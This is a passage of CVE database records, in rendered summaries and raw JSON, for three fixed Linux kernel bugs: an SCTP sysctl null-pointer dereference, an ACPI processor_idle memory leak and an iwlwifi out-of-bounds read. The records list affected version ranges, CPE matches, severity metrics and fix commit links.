              "lessThan": "cf387cdebfaebae228dfba162f94c567a67610c3",
              "status": "affected",
              "version": "b14878ccb7fac0242db82720b784ab62c467c0dc",
              "versionType": "git"
            },
            {
              "lessThan": "dc583e7e5f8515ca489c0df28e4362a70eade382",
              "status": "affected",
              "version": "b14878ccb7fac0242db82720b784ab62c467c0dc",
              "versionType": "git"
            },
            {
              "lessThan": "bd2a2939423566c654545fa3e96a656662a0af9e",
              "status": "affected",
              "version": "b14878ccb7fac0242db82720b784ab62c467c0dc",
              "versionType": "git"
            },
            {
              "lessThan": "1b67030d39f2b00f94ac1f0af11ba6657589e4d3",
              "status": "affected",
              "version": "b14878ccb7fac0242db82720b784ab62c467c0dc",
              "versionType": "git"
            },
            {
              "lessThan": "7ec30c54f339c640aa7e49d7e9f7bbed6bd42bf6",
              "status": "affected",
              "version": "b14878ccb7fac0242db82720b784ab62c467c0dc",
              "versionType": "git"
            },
            {
              "lessThan": "c184bc621e3cef03ac9ba81a50dda2dae6a21d36",
              "status": "affected",
              "version": "b14878ccb7fac0242db82720b784ab62c467c0dc",
              "versionType": "git"
            },
            {
              "lessThan": "15649fd5415eda664ef35780c2013adeb5d9c695",
              "status": "affected",
              "version": "b14878ccb7fac0242db82720b784ab62c467c0dc",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "e5eae4a0511241959498b180fa0df0d4f1b11b9c",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "88830f227a1f96e44d82ddfcb0cc81d517ec6dd8",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "3938b0336a93fa5faa242dc9e5823ac69df9e066",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/sysctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.15"
            },
            {
              "lessThan": "3.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.292",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.292",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.10.41",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.12.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.14.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: sysctl: auth_enable: avoid using current-\u003ensproxy\n\nAs mentioned in a previous commit of this series, using the \u0027net\u0027\nstructure via \u0027current\u0027 is not recommended for different reasons:\n\n- Inconsistency: getting info from the reader\u0027s/writer\u0027s netns vs only\n  from the opener\u0027s netns.\n\n- current-\u003ensproxy can be NULL in some cases, resulting in an \u0027Oops\u0027\n  (null-ptr-deref), e.g. when the current task is exiting, as spotted by\n  syzbot [1] using acct(2).\n\nThe \u0027net\u0027 structure can be obtained from the table-\u003edata using\ncontainer_of().\n\nNote that table-\u003edata could also be used directly, but that would\nincrease the size of this fix, while \u0027sctp.ctl_sock\u0027 still needs to be\nretrieved from \u0027net\u0027 structure."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:03:33.101Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/cf387cdebfaebae228dfba162f94c567a67610c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/dc583e7e5f8515ca489c0df28e4362a70eade382"
        },
        {
          "url": "https://git.kernel.org/stable/c/bd2a2939423566c654545fa3e96a656662a0af9e"
        },
        {
          "url": "https://git.kernel.org/stable/c/1b67030d39f2b00f94ac1f0af11ba6657589e4d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/7ec30c54f339c640aa7e49d7e9f7bbed6bd42bf6"
        },
        {
          "url": "https://git.kernel.org/stable/c/c184bc621e3cef03ac9ba81a50dda2dae6a21d36"
        },
        {
          "url": "https://git.kernel.org/stable/c/15649fd5415eda664ef35780c2013adeb5d9c695"
        }
      ],
      "title": "sctp: sysctl: auth_enable: avoid using current-\u003ensproxy",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21638",
    "datePublished": "2025-01-19T10:17:56.084Z",
    "dateReserved": "2024-12-29T08:45:45.727Z",
    "dateUpdated": "2026-05-12T12:02:58.938Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26894 (GCVE-0-2024-26894)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 12:14

Title

ACPI: processor_idle: Fix memory leak in acpi_processor_power_exit()

Summary

In the Linux kernel, the following vulnerability has been resolved: ACPI: processor_idle: Fix memory leak in acpi_processor_power_exit() After unregistering the CPU idle device, the memory associated with it is not freed, leading to a memory leak: unreferenced object 0xffff896282f6c000 (size 1024): comm "swapper/0", pid 1, jiffies 4294893170 hex dump (first 32 bytes): 00 00 00 00 0b 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace (crc 8836a742): [<ffffffff993495ed>] kmalloc_trace+0x29d/0x340 [<ffffffff9972f3b3>] acpi_processor_power_init+0xf3/0x1c0 [<ffffffff9972d263>] __acpi_processor_start+0xd3/0xf0 [<ffffffff9972d2bc>] acpi_processor_start+0x2c/0x50 [<ffffffff99805872>] really_probe+0xe2/0x480 [<ffffffff99805c98>] __driver_probe_device+0x78/0x160 [<ffffffff99805daf>] driver_probe_device+0x1f/0x90 [<ffffffff9980601e>] __driver_attach+0xce/0x1c0 [<ffffffff99803170>] bus_for_each_dev+0x70/0xc0 [<ffffffff99804822>] bus_add_driver+0x112/0x210 [<ffffffff99807245>] driver_register+0x55/0x100 [<ffffffff9aee4acb>] acpi_processor_driver_init+0x3b/0xc0 [<ffffffff990012d1>] do_one_initcall+0x41/0x300 [<ffffffff9ae7c4b0>] kernel_init_freeable+0x320/0x470 [<ffffffff99b231f6>] kernel_init+0x16/0x1b0 [<ffffffff99042e6d>] ret_from_fork+0x2d/0x50 Fix this by freeing the CPU idle device after unregistering it.

Severity ?

6 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/d351bcadab6caa6d8…
https://git.kernel.org/stable/c/ea96bf3f80625cddb…
https://git.kernel.org/stable/c/c2a30c81bf3cb9033…
https://git.kernel.org/stable/c/1cbaf4c793b080853…
https://git.kernel.org/stable/c/fad9bcd4d754cc689…
https://git.kernel.org/stable/c/3d48e5be107429ff5…
https://git.kernel.org/stable/c/8d14a4d0afb49a5b8…
https://git.kernel.org/stable/c/cd5c2d0b09d5b6d3f…
https://git.kernel.org/stable/c/e18afcb7b2a12b635…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3d339dcbb56d8d70c1b959aff87d74adc3a84eea , < d351bcadab6caa6d8ce7159ff4b77e2da35c09fa (git) Affected: 3d339dcbb56d8d70c1b959aff87d74adc3a84eea , < ea96bf3f80625cddba1391a87613356b1b45716d (git) Affected: 3d339dcbb56d8d70c1b959aff87d74adc3a84eea , < c2a30c81bf3cb9033fa9f5305baf7c377075e2e5 (git) Affected: 3d339dcbb56d8d70c1b959aff87d74adc3a84eea , < 1cbaf4c793b0808532f4e7b40bc4be7cec2c78f2 (git) Affected: 3d339dcbb56d8d70c1b959aff87d74adc3a84eea , < fad9bcd4d754cc689c19dc04d2c44b82c1a5d6c8 (git) Affected: 3d339dcbb56d8d70c1b959aff87d74adc3a84eea , < 3d48e5be107429ff5d824e7f2a00d1b610d36fbc (git) Affected: 3d339dcbb56d8d70c1b959aff87d74adc3a84eea , < 8d14a4d0afb49a5b8535d414c782bb334860e73e (git) Affected: 3d339dcbb56d8d70c1b959aff87d74adc3a84eea , < cd5c2d0b09d5b6d3f0a7bbabe6761a4997e9dee9 (git) Affected: 3d339dcbb56d8d70c1b959aff87d74adc3a84eea , < e18afcb7b2a12b635ac10081f943fcf84ddacc51 (git)
Linux	Linux	Affected: 3.7 Unaffected: 0 , < 3.7 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.515Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d351bcadab6caa6d8ce7159ff4b77e2da35c09fa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ea96bf3f80625cddba1391a87613356b1b45716d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c2a30c81bf3cb9033fa9f5305baf7c377075e2e5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1cbaf4c793b0808532f4e7b40bc4be7cec2c78f2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fad9bcd4d754cc689c19dc04d2c44b82c1a5d6c8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3d48e5be107429ff5d824e7f2a00d1b610d36fbc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8d14a4d0afb49a5b8535d414c782bb334860e73e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cd5c2d0b09d5b6d3f0a7bbabe6761a4997e9dee9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e18afcb7b2a12b635ac10081f943fcf84ddacc51"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 6,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "HIGH",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26894",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-06T16:56:24.973748Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-770",
                "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-06T16:57:05.473Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:14:19.822Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/acpi/processor_idle.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d351bcadab6caa6d8ce7159ff4b77e2da35c09fa",
              "status": "affected",
              "version": "3d339dcbb56d8d70c1b959aff87d74adc3a84eea",
              "versionType": "git"
            },
            {
              "lessThan": "ea96bf3f80625cddba1391a87613356b1b45716d",
              "status": "affected",
              "version": "3d339dcbb56d8d70c1b959aff87d74adc3a84eea",
              "versionType": "git"
            },
            {
              "lessThan": "c2a30c81bf3cb9033fa9f5305baf7c377075e2e5",
              "status": "affected",
              "version": "3d339dcbb56d8d70c1b959aff87d74adc3a84eea",
              "versionType": "git"
            },
            {
              "lessThan": "1cbaf4c793b0808532f4e7b40bc4be7cec2c78f2",
              "status": "affected",
              "version": "3d339dcbb56d8d70c1b959aff87d74adc3a84eea",
              "versionType": "git"
            },
            {
              "lessThan": "fad9bcd4d754cc689c19dc04d2c44b82c1a5d6c8",
              "status": "affected",
              "version": "3d339dcbb56d8d70c1b959aff87d74adc3a84eea",
              "versionType": "git"
            },
            {
              "lessThan": "3d48e5be107429ff5d824e7f2a00d1b610d36fbc",
              "status": "affected",
              "version": "3d339dcbb56d8d70c1b959aff87d74adc3a84eea",
              "versionType": "git"
            },
            {
              "lessThan": "8d14a4d0afb49a5b8535d414c782bb334860e73e",
              "status": "affected",
              "version": "3d339dcbb56d8d70c1b959aff87d74adc3a84eea",
              "versionType": "git"
            },
            {
              "lessThan": "cd5c2d0b09d5b6d3f0a7bbabe6761a4997e9dee9",
              "status": "affected",
              "version": "3d339dcbb56d8d70c1b959aff87d74adc3a84eea",
              "versionType": "git"
            },
            {
              "lessThan": "e18afcb7b2a12b635ac10081f943fcf84ddacc51",
              "status": "affected",
              "version": "3d339dcbb56d8d70c1b959aff87d74adc3a84eea",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/acpi/processor_idle.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.7"
            },
            {
              "lessThan": "3.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: processor_idle: Fix memory leak in acpi_processor_power_exit()\n\nAfter unregistering the CPU idle device, the memory associated with\nit is not freed, leading to a memory leak:\n\nunreferenced object 0xffff896282f6c000 (size 1024):\n  comm \"swapper/0\", pid 1, jiffies 4294893170\n  hex dump (first 32 bytes):\n    00 00 00 00 0b 00 00 00 00 00 00 00 00 00 00 00  ................\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace (crc 8836a742):\n    [\u003cffffffff993495ed\u003e] kmalloc_trace+0x29d/0x340\n    [\u003cffffffff9972f3b3\u003e] acpi_processor_power_init+0xf3/0x1c0\n    [\u003cffffffff9972d263\u003e] __acpi_processor_start+0xd3/0xf0\n    [\u003cffffffff9972d2bc\u003e] acpi_processor_start+0x2c/0x50\n    [\u003cffffffff99805872\u003e] really_probe+0xe2/0x480\n    [\u003cffffffff99805c98\u003e] __driver_probe_device+0x78/0x160\n    [\u003cffffffff99805daf\u003e] driver_probe_device+0x1f/0x90\n    [\u003cffffffff9980601e\u003e] __driver_attach+0xce/0x1c0\n    [\u003cffffffff99803170\u003e] bus_for_each_dev+0x70/0xc0\n    [\u003cffffffff99804822\u003e] bus_add_driver+0x112/0x210\n    [\u003cffffffff99807245\u003e] driver_register+0x55/0x100\n    [\u003cffffffff9aee4acb\u003e] acpi_processor_driver_init+0x3b/0xc0\n    [\u003cffffffff990012d1\u003e] do_one_initcall+0x41/0x300\n    [\u003cffffffff9ae7c4b0\u003e] kernel_init_freeable+0x320/0x470\n    [\u003cffffffff99b231f6\u003e] kernel_init+0x16/0x1b0\n    [\u003cffffffff99042e6d\u003e] ret_from_fork+0x2d/0x50\n\nFix this by freeing the CPU idle device after unregistering it."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:28.578Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d351bcadab6caa6d8ce7159ff4b77e2da35c09fa"
        },
        {
          "url": "https://git.kernel.org/stable/c/ea96bf3f80625cddba1391a87613356b1b45716d"
        },
        {
          "url": "https://git.kernel.org/stable/c/c2a30c81bf3cb9033fa9f5305baf7c377075e2e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/1cbaf4c793b0808532f4e7b40bc4be7cec2c78f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/fad9bcd4d754cc689c19dc04d2c44b82c1a5d6c8"
        },
        {
          "url": "https://git.kernel.org/stable/c/3d48e5be107429ff5d824e7f2a00d1b610d36fbc"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d14a4d0afb49a5b8535d414c782bb334860e73e"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd5c2d0b09d5b6d3f0a7bbabe6761a4997e9dee9"
        },
        {
          "url": "https://git.kernel.org/stable/c/e18afcb7b2a12b635ac10081f943fcf84ddacc51"
        }
      ],
      "title": "ACPI: processor_idle: Fix memory leak in acpi_processor_power_exit()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26894",
    "datePublished": "2024-04-17T10:27:45.960Z",
    "dateReserved": "2024-02-19T14:20:24.186Z",
    "dateUpdated": "2026-05-12T12:14:19.822Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40941 (GCVE-0-2024-40941)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:25 – Updated: 2026-05-12 11:55

Title

wifi: iwlwifi: mvm: don't read past the mfuart notifcation

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: don't read past the mfuart notifcation In case the firmware sends a notification that claims it has more data than it has, we will read past that was allocated for the notification. Remove the print of the buffer, we won't see it by default. If needed, we can see the content with tracing. This was reported by KFENCE.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/15b37c6fab9d5e40a…
https://git.kernel.org/stable/c/6532f18e66b384b8d…
https://git.kernel.org/stable/c/46c59a25337049a2a…
https://git.kernel.org/stable/c/65686118845d427df…
https://git.kernel.org/stable/c/a8bc8276af9aeacab…
https://git.kernel.org/stable/c/a05018739a5e6b9dc…
https://git.kernel.org/stable/c/acdfa33c3cf5e1cd1…
https://git.kernel.org/stable/c/4bb95f4535489ed83…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87 , < 15b37c6fab9d5e40ac399fa1c725118588ed649c (git) Affected: bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87 , < 6532f18e66b384b8d4b7e5c9caca042faaa9e8de (git) Affected: bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87 , < 46c59a25337049a2a230ce7f7c3b9f21d0aaaad7 (git) Affected: bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87 , < 65686118845d427df27ee83a6ddd4885596b0805 (git) Affected: bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87 , < a8bc8276af9aeacabb773f0c267cfcdb847c6f2d (git) Affected: bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87 , < a05018739a5e6b9dc112c95bd4c59904062c8940 (git) Affected: bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87 , < acdfa33c3cf5e1cd185cc1e0486bd0ea9f09c154 (git) Affected: bdccdb854f2fb473f2ac4a6108df3cbfcedd5a87 , < 4bb95f4535489ed830cf9b34b0a891e384d1aee4 (git)
Linux	Linux	Affected: 4.12 Unaffected: 0 , < 4.12 (semver) Unaffected: 4.19.317 , ≤ 4.19.* (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.95 , ≤ 6.1.* (semver) Unaffected: 6.6.35 , ≤ 6.6.* (semver) Unaffected: 6.9.6 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:09.834Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/15b37c6fab9d5e40ac399fa1c725118588ed649c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6532f18e66b384b8d4b7e5c9caca042faaa9e8de"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/46c59a25337049a2a230ce7f7c3b9f21d0aaaad7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/65686118845d427df27ee83a6ddd4885596b0805"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a8bc8276af9aeacabb773f0c267cfcdb847c6f2d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a05018739a5e6b9dc112c95bd4c59904062c8940"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/acdfa33c3cf5e1cd185cc1e0486bd0ea9f09c154"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4bb95f4535489ed830cf9b34b0a891e384d1aee4"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40941",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:04:27.174658Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:02.057Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
